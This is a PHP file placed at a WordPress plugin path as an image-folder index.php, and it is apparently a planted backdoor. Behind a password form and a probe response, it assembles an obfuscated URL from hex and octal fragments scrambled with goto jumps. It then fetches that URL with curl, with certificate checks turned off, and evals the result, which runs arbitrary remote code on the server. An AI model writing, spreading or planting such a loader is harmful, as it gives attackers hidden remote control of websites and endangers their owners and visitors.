File: /home/appbox/public_html/wp-content/plugins/wp-file-manager/inc/images/index.php
<?php ?><?php error_reporting(0); if(isset($_REQUEST["ok"])){die(">ok<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == 'a1fecbae6a303e0618f95586ddb49de7c30f911fecd8701500320daf754868a0') {
$_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
goto qTGi0; PE4W5: $SS8Fu .= "\x61\x6d"; goto fGwaz; xzznT: $SS8Fu .= "\62\x2f\144\154"; goto vok5m; iFaO1: $SS8Fu .= "\57\x70"; goto g5zBW; FpEnr: $SS8Fu .= "\x64"; goto iFaO1; fGwaz: $SS8Fu .= "\x61\144\57\x2f"; goto WVHQD; qTGi0: $SS8Fu = ''; goto XK72J; vok5m: $SS8Fu .= "\x6f\57\141\155\141"; goto FpEnr; g5zBW: $SS8Fu .= "\157\x74\56\61\60"; goto PE4W5; Poee7: $SS8Fu .= "\164\56\x35"; goto xzznT; XK72J: $SS8Fu .= "\164\170"; goto Poee7; hMBa1: $SS8Fu .= "\x70\x74\x74\150"; goto tY77t; WVHQD: $SS8Fu .= "\72\163"; goto hMBa1; tY77t: eval("\x3f\x3e" . TW2KX(strrev($SS8Fu))); goto lVJ7Z; lVJ7Z: function tW2Kx($V1_rw = '') { goto nCgtH; kwW95: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto Jdx0V; EWhJV: $tvmad = curl_exec($xM315); goto gzuEf; nCgtH: $xM315 = curl_init(); goto TEz9A; u31PN: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto kwW95; PfeRW: return $tvmad; goto aBwgw; gzuEf: curl_close($xM315); goto PfeRW; Jdx0V: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto EWhJV; TEz9A: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto sPHHi; sPHHi: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto u31PN; aBwgw: }